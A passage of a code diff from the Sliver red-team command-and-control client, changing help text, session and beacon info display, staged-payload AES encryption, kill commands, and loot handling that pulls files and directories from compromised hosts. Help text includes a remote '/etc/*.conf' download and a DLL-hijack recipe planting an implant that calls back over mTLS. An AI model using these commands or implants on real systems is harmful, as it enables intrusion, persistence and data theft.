download /etc/*.conf will download all files from /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
|
||||
|
||||
Downloads can be filtered using the following patterns:
|
||||
'*': Wildcard, matches any sequence of non-path separators (slashes)
|
||||
Example: n*.txt will match all file names starting with n and ending with .txt
|
||||
|
||||
'?': Single character wildcard, matches a single non-path separator (slashes)
|
||||
Example: s?iver will match all file names starting with s followed by any non-separator character and ending with iver.
|
||||
|
||||
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
|
||||
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
|
||||
^[r-u] will match all characters except r, s, t, and u.
|
||||
|
||||
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
|
||||
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
||||
|
||||
uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
|
||||
[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
|
||||
@@ -370,7 +390,7 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
|
||||
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
|
||||
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
|
||||
`
|
||||
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
|
||||
loadAliasHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
|
||||
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
|
||||
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
|
||||
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
|
||||
@@ -482,6 +502,11 @@ When using the binary type, you must either:
|
||||
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
|
||||
regDeleteKeyHelp = `[[.Bold]]Command:[[.Normal]] registry delete PATH [name]
|
||||
[[.Bold]]About:[[.Normal]] Remove a value from the windows registry
|
||||
[[.Bold]]Example:[[.Normal]] registry delete --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
|
||||
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
|
||||
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
@@ -651,8 +676,8 @@ supplied with the --profile flag.
|
||||
# Use a local DLL for a hijack
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
|
||||
# Use a Sliver generated DLL for the hijack
|
||||
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
|
||||
# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
|
||||
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
|
||||
# Use a local DLL as the reference DLL
|
||||
|
||||
@@ -81,7 +81,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
shortID,
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
hostSessionNumbers(host.HostUUID, con),
|
||||
hostSessions(host.HostUUID, con),
|
||||
hostBeacons(host.HostUUID, con),
|
||||
len(host.IOCs),
|
||||
len(host.ExtensionData),
|
||||
@@ -90,16 +90,16 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
return tw.Render()
|
||||
}
|
||||
|
||||
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
func hostSessions(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
hostSessions := SessionsForHost(hostUUID, con)
|
||||
if 0 == len(hostSessions) {
|
||||
if len(hostSessions) == 0 {
|
||||
return "None"
|
||||
}
|
||||
sessionNumbers := []string{}
|
||||
sessionIDs := []string{}
|
||||
for _, hostSession := range hostSessions {
|
||||
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
|
||||
sessionIDs = append(sessionIDs, strings.Split(hostSession.ID, "-")[0])
|
||||
}
|
||||
return strings.Join(sessionNumbers, ", ")
|
||||
return fmt.Sprintf("%d", len(sessionIDs))
|
||||
}
|
||||
|
||||
func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
|
||||
@@ -19,8 +19,14 @@ package info
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
@@ -33,7 +39,7 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if session != nil {
|
||||
|
||||
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
|
||||
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
|
||||
@@ -44,13 +50,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
|
||||
|
||||
} else if beacon != nil {
|
||||
|
||||
con.Printf(console.Bold+" ID: %s%s\n", console.Normal, beacon.ID)
|
||||
con.Printf(console.Bold+" Beacon ID: %s%s\n", console.Normal, beacon.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
|
||||
@@ -61,10 +68,11 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
|
||||
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
|
||||
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
|
||||
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
|
||||
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
|
||||
|
||||
} else {
|
||||
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
|
||||
@@ -116,9 +124,50 @@ func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
var isWin bool
|
||||
con.Printf("Logon ID: ")
|
||||
if session != nil {
|
||||
con.Printf("%s\n", session.Username)
|
||||
if session.GetOS() == "windows" {
|
||||
isWin = true
|
||||
}
|
||||
} else if beacon != nil {
|
||||
con.Printf("%s\n", beacon.Username)
|
||||
if beacon.GetOS() == "windows" {
|
||||
isWin = true
|
||||
}
|
||||
}
|
||||
|
||||
if isWin {
|
||||
cto, err := con.Rpc.CurrentTokenOwner(context.Background(), &sliverpb.CurrentTokenOwnerReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if cto.Response != nil && cto.Response.Async {
|
||||
con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, cto)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintTokenOwner(cto, con)
|
||||
})
|
||||
con.PrintAsyncResponse(cto.Response)
|
||||
} else {
|
||||
PrintTokenOwner(cto, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) {
|
||||
if cto.Response != nil && cto.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", cto.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Current Token ID: %s", cto.Output)
|
||||
}
|
||||
@@ -31,9 +31,9 @@ import (
|
||||
func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
domains := strings.Split(ctx.Flags.String("domains"), ",")
|
||||
for _, domain := range domains {
|
||||
for index, domain := range domains {
|
||||
if !strings.HasSuffix(domain, ".") {
|
||||
domain += "."
|
||||
domains[index] += "."
|
||||
}
|
||||
}
|
||||
|
||||
@@ -47,6 +47,7 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Port: uint32(lport),
|
||||
Canaries: !ctx.Flags.Bool("no-canaries"),
|
||||
Persistent: ctx.Flags.Bool("persistent"),
|
||||
EnforceOTP: !ctx.Flags.Bool("disable-otp"),
|
||||
})
|
||||
con.Println()
|
||||
if err != nil {
|
||||
|
||||
+22
-15
@@ -21,16 +21,15 @@ package jobs
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// JobsCmd - Manage server jobs (listeners, etc)
|
||||
@@ -51,33 +50,41 @@ func JobsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
activeJobs[job.ID] = job
|
||||
}
|
||||
if 0 < len(activeJobs) {
|
||||
printJobs(activeJobs)
|
||||
PrintJobs(activeJobs, con)
|
||||
} else {
|
||||
con.PrintInfof("No active jobs\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func printJobs(jobs map[uint32]*clientpb.Job) {
|
||||
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("ID")),
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("Protocol")),
|
||||
strings.Repeat("=", len("Port")))
|
||||
// PrintJobs - Prints a list of active jobs
|
||||
func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient) {
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Protocol",
|
||||
"Port",
|
||||
})
|
||||
|
||||
var keys []int
|
||||
for _, job := range jobs {
|
||||
keys = append(keys, int(job.ID))
|
||||
}
|
||||
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
|
||||
sort.Ints(keys)
|
||||
|
||||
for _, k := range keys {
|
||||
job := jobs[uint32(k)]
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port)
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf("%d", job.ID),
|
||||
job.Name,
|
||||
job.Protocol,
|
||||
fmt.Sprintf("%d", job.Port),
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func jobKill(jobID uint32, con *console.SliverConsoleClient) {
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -33,6 +34,8 @@ import (
|
||||
func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
profileName := ctx.Flags.String("profile")
|
||||
listenerURL := ctx.Flags.String("url")
|
||||
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
|
||||
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
|
||||
|
||||
if profileName == "" || listenerURL == "" {
|
||||
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
|
||||
@@ -56,12 +59,39 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Profile not found\n")
|
||||
return
|
||||
}
|
||||
|
||||
aesEncrypt := false
|
||||
if aesEncryptKey != "" {
|
||||
// check if aes encryption key is correct length
|
||||
if len(aesEncryptKey)%16 != 0 {
|
||||
con.PrintErrorf("Incorect length of AES Key\n")
|
||||
return
|
||||
}
|
||||
|
||||
// set default aes iv
|
||||
if aesEncryptIv == "" {
|
||||
aesEncryptIv = "0000000000000000"
|
||||
}
|
||||
|
||||
// check if aes iv is correct length
|
||||
if len(aesEncryptIv)%16 != 0 {
|
||||
con.PrintErrorf("Incorect length of AES IV\n")
|
||||
return
|
||||
}
|
||||
|
||||
aesEncrypt = true
|
||||
}
|
||||
|
||||
stage2, err := generate.GetSliverBinary(profile, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if aesEncrypt {
|
||||
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
|
||||
}
|
||||
|
||||
switch stagingURL.Scheme {
|
||||
case "http":
|
||||
ctrl := make(chan bool)
|
||||
@@ -125,4 +155,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
|
||||
return
|
||||
}
|
||||
|
||||
if aesEncrypt {
|
||||
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
|
||||
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
|
||||
}
|
||||
}
|
||||
+15
-13
@@ -27,6 +27,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -35,28 +36,26 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
// Confirm with the user, just in case they confused kill with terminate
|
||||
confirm := false
|
||||
promptSession := &survey.Confirm{Message: "Kill the active session?"}
|
||||
promptBeacon := &survey.Confirm{Message: "Kill the active beacon?"}
|
||||
con.PrintWarnf("WARNING: This will kill the remote implant process\n\n")
|
||||
if session != nil {
|
||||
survey.AskOne(promptSession, &confirm, nil)
|
||||
survey.AskOne(&survey.Confirm{Message: "Kill the active session?"}, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := KillSession(session, ctx.Flags.Bool("force"), con)
|
||||
err := KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
|
||||
con.ActiveTarget.Background()
|
||||
return
|
||||
}
|
||||
if beacon != nil {
|
||||
survey.AskOne(promptBeacon, &confirm, nil)
|
||||
} else if beacon != nil {
|
||||
survey.AskOne(&survey.Confirm{Message: "Kill the active beacon?"}, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
|
||||
err := KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -69,28 +68,31 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
|
||||
func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
if session == nil {
|
||||
return errors.New("session does not exist")
|
||||
}
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: int64(ctx.Flags.Int("timeout")),
|
||||
},
|
||||
Force: force,
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
core.Sessions.Remove(session.ID)
|
||||
return err
|
||||
}
|
||||
|
||||
func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
|
||||
func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
if beacon == nil {
|
||||
return errors.New("session does not exist")
|
||||
}
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
BeaconID: beacon.ID,
|
||||
Timeout: int64(ctx.Flags.Int("timeout")),
|
||||
},
|
||||
Force: force,
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
return err
|
||||
|
||||
|
||||
@@ -55,10 +55,20 @@ func LootAddCredentialCmd(ctx *grumble.Context, con *console.SliverConsoleClient
|
||||
switch credType {
|
||||
case clientpb.CredentialType_USER_PASSWORD.String():
|
||||
loot.CredentialType = clientpb.CredentialType_USER_PASSWORD
|
||||
usernamePrompt := &survey.Input{Message: "Username: "}
|
||||
survey.AskOne(usernamePrompt, &loot.Credential.User)
|
||||
passwordPrompt := &survey.Input{Message: "Password: "}
|
||||
survey.AskOne(passwordPrompt, &loot.Credential.Password)
|
||||
for loot.Credential.User == "" {
|
||||
usernamePrompt := &survey.Input{Message: "Username: "}
|
||||
survey.AskOne(usernamePrompt, &loot.Credential.User)
|
||||
if loot.Credential.User == "" {
|
||||
con.Println("Username is required")
|
||||
}
|
||||
}
|
||||
for loot.Credential.Password == "" {
|
||||
passwordPrompt := &survey.Input{Message: "Password: "}
|
||||
survey.AskOne(passwordPrompt, &loot.Credential.Password)
|
||||
if loot.Credential.Password == "" {
|
||||
con.Println("Password is required")
|
||||
}
|
||||
}
|
||||
case clientpb.CredentialType_API_KEY.String():
|
||||
loot.CredentialType = clientpb.CredentialType_API_KEY
|
||||
usernamePrompt := &survey.Input{Message: "API Key: "}
|
||||
|
||||
@@ -176,7 +176,15 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
|
||||
buf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
|
||||
for _, loot := range allLoot.Loot {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
|
||||
filename := ""
|
||||
if loot.File != nil {
|
||||
filename = loot.File.Name
|
||||
}
|
||||
if loot.Name == filename {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, filename, loot.Type, loot.LootID)
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(buf.String(), "\n")
|
||||
|
||||
@@ -159,14 +159,20 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
fmt.Fprintln(table, "Type\tName\tUUID\t")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
|
||||
fmt.Fprintln(table, "Type\tName\tFile Name\tUUID\t")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Type")),
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("File Name")),
|
||||
strings.Repeat("=", len("UUID")),
|
||||
)
|
||||
|
||||
for _, loot := range allLoot.Loot {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID)
|
||||
filename := ""
|
||||
if loot.File != nil {
|
||||
filename = loot.File.Name
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, filename, loot.LootID)
|
||||
}
|
||||
|
||||
table.Flush()
|
||||
@@ -401,7 +407,7 @@ func isText(sample []byte) bool {
|
||||
// last char may be incomplete - ignore
|
||||
break
|
||||
}
|
||||
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' {
|
||||
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
|
||||
// decoding error or control character - not a text file
|
||||
return false
|
||||
}
|
||||
|
||||
+207
-67
@@ -19,9 +19,14 @@ package loot
|
||||
*/
|
||||
|
||||
import (
|
||||
"archive/tar"
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"context"
|
||||
"fmt"
|
||||
"path"
|
||||
"io"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -29,8 +34,198 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func ValidateLootType(lootTypeInput string) (clientpb.LootType, error) {
|
||||
var lootType clientpb.LootType
|
||||
var err error
|
||||
|
||||
if lootTypeInput != "" {
|
||||
lootType, err = lootTypeFromHumanStr(lootTypeInput)
|
||||
if err != nil {
|
||||
/*
|
||||
If we get an error, that means that this loot type was invalid.
|
||||
We will leave it up to the caller to handle the error (output it
|
||||
to the console for example)
|
||||
*/
|
||||
return lootType, fmt.Errorf("Invalid loot type %s", lootTypeInput)
|
||||
}
|
||||
} else {
|
||||
lootType = clientpb.LootType_LOOT_FILE
|
||||
}
|
||||
|
||||
return lootType, err
|
||||
}
|
||||
|
||||
func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileType {
|
||||
lootFileType, err := lootFileTypeFromHumanStr(lootFileTypeInput)
|
||||
if lootFileType == -1 || err != nil {
|
||||
if isText(data) {
|
||||
lootFileType = clientpb.FileType_TEXT
|
||||
} else {
|
||||
lootFileType = clientpb.FileType_BINARY
|
||||
}
|
||||
}
|
||||
|
||||
return lootFileType
|
||||
}
|
||||
|
||||
/*
|
||||
Eventually this function needs to be refactored out, but we made the decision to
|
||||
duplicate it for now
|
||||
*/
|
||||
func PerformDownload(remotePath string, fileName string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, "loot"), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
}
|
||||
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
return nil, fmt.Errorf("%s\n", download.Response.Err)
|
||||
}
|
||||
|
||||
// Decode the downloaded data if required
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("Decoding failed %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
return download, nil
|
||||
}
|
||||
|
||||
func CreateLootMessage(fileName string, lootName string, lootType clientpb.LootType, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
|
||||
if lootName == "" {
|
||||
lootName = fileName
|
||||
}
|
||||
|
||||
lootMessage := &clientpb.Loot{
|
||||
Name: lootName,
|
||||
Type: lootType,
|
||||
FileType: lootFileType,
|
||||
File: &commonpb.File{
|
||||
Name: fileName,
|
||||
Data: data,
|
||||
},
|
||||
}
|
||||
|
||||
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
|
||||
lootMessage.CredentialType = clientpb.CredentialType_FILE
|
||||
}
|
||||
|
||||
return lootMessage
|
||||
}
|
||||
|
||||
func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) {
|
||||
control := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Sending looted file (%s) to the server...", loot.Name), control)
|
||||
|
||||
loot, err := con.Rpc.LootAdd(context.Background(), loot)
|
||||
control <- true
|
||||
<-control
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
|
||||
if loot.Name != loot.File.Name {
|
||||
con.PrintInfof("Successfully looted %s (%s) (ID: %s)\n", loot.File.Name, loot.Name, loot.LootID)
|
||||
} else {
|
||||
con.PrintInfof("Successfully looted %s (ID: %s)\n", loot.Name, loot.LootID)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func LootDownload(download *sliverpb.Download, lootName string, lootType clientpb.LootType, fileType clientpb.FileType, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Was the download successful?
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
/* Construct everything needed to send the loot to the server
|
||||
If this is a directory, we will process each file individually
|
||||
*/
|
||||
|
||||
// Let's handle the simple case of a file first
|
||||
if !download.IsDir {
|
||||
// filepath.Base does not deal with backslashes correctly in Windows paths, so we have to standardize the path to forward slashes
|
||||
downloadPath := strings.ReplaceAll(download.Path, "\\", "/")
|
||||
lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, lootType, fileType, download.Data)
|
||||
SendLootMessage(lootMessage, con)
|
||||
} else {
|
||||
// We have to decompress the gzip file first
|
||||
decompressedDownload, err := gzip.NewReader(bytes.NewReader(download.Data))
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not decompress downloaded data: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
/*
|
||||
Directories are stored as tar-ed gzip archives.
|
||||
We have gotten rid of the gzip part, now we have to sort out the tar
|
||||
*/
|
||||
tarReader := tar.NewReader(decompressedDownload)
|
||||
|
||||
// Keep reading until we reach the end
|
||||
for {
|
||||
entryHeader, err := tarReader.Next()
|
||||
if err == io.EOF {
|
||||
// We have reached the end of the tar archive
|
||||
break
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
// Something is wrong with this archive. Stop reading.
|
||||
break
|
||||
}
|
||||
|
||||
if entryHeader == nil {
|
||||
/*
|
||||
If the entry is nil, skip it (not sure when this would happen,
|
||||
but we do not want to attempt operations on something that is nil)
|
||||
*/
|
||||
continue
|
||||
}
|
||||
|
||||
if entryHeader.Typeflag == tar.TypeDir {
|
||||
// Keep going to dig into the directory
|
||||
continue
|
||||
}
|
||||
// The implant should have only shipped us files (the implant resolves symlinks)
|
||||
|
||||
// Create a loot message for this file and ship it
|
||||
/* Using io.ReadAll because it reads until EOF. We have already read the header, so the next EOF should
|
||||
be the end of the file
|
||||
*/
